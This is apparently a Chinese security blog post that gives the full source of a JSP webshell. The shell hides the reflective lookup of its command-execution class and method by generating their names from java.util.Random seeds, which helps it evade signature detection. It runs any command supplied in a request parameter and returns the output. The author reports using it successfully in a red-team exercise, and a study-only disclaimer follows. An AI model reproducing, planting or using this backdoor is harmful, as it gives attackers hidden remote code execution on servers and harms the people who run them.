整合一个jsp webshell

根据pmiaowu大佬的Java小trick之在懵逼中为Random跪下整合的jsp webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.commons.io.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%!
/**
*
* @param i 随机参数
* @return
*/
public static String seedConversionString(long i) {
Random ran = new Random(i);
StringBuilder sb = new StringBuilder();
while (true) {
int k = ran.nextInt(96);
if (k == 0) {
break;
}
sb.append((char) (31 + k));
}
return sb.toString();
}

public static String seedListConversionString(long[] is) {
StringBuilder dataSource = new StringBuilder();
for (long seed : is) {
dataSource.append(seedConversionString(seed));
}
return dataSource.toString();
}


%>
<%
String str = request.getParameter("str");

long[] seedList = {-2080435608, -2060785532, -2147149194,
-2107467938, -1949527326, -2146859157};
String random = seedListConversionString(seedList);
Class randomClass = Class.forName(random);
Constructor randomConstructor =
randomClass.getDeclaredConstructor();
randomConstructor.setAccessible(true);
Object randomInstance = randomConstructor.newInstance();

long[] seedList2 = {-2146857803,-2145923417};
String random2 = seedListConversionString(seedList2);
Method randmoMethod = randomClass.getMethod(random2,
String.class);
Process p = (Process) randmoMethod.invoke(randomInstance,
str);
InputStream results = p.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = results.read(b)) != -1) {
baos.write(b, 0, a);
}

out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

马儿首次用于zj省hw,效果甚好


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.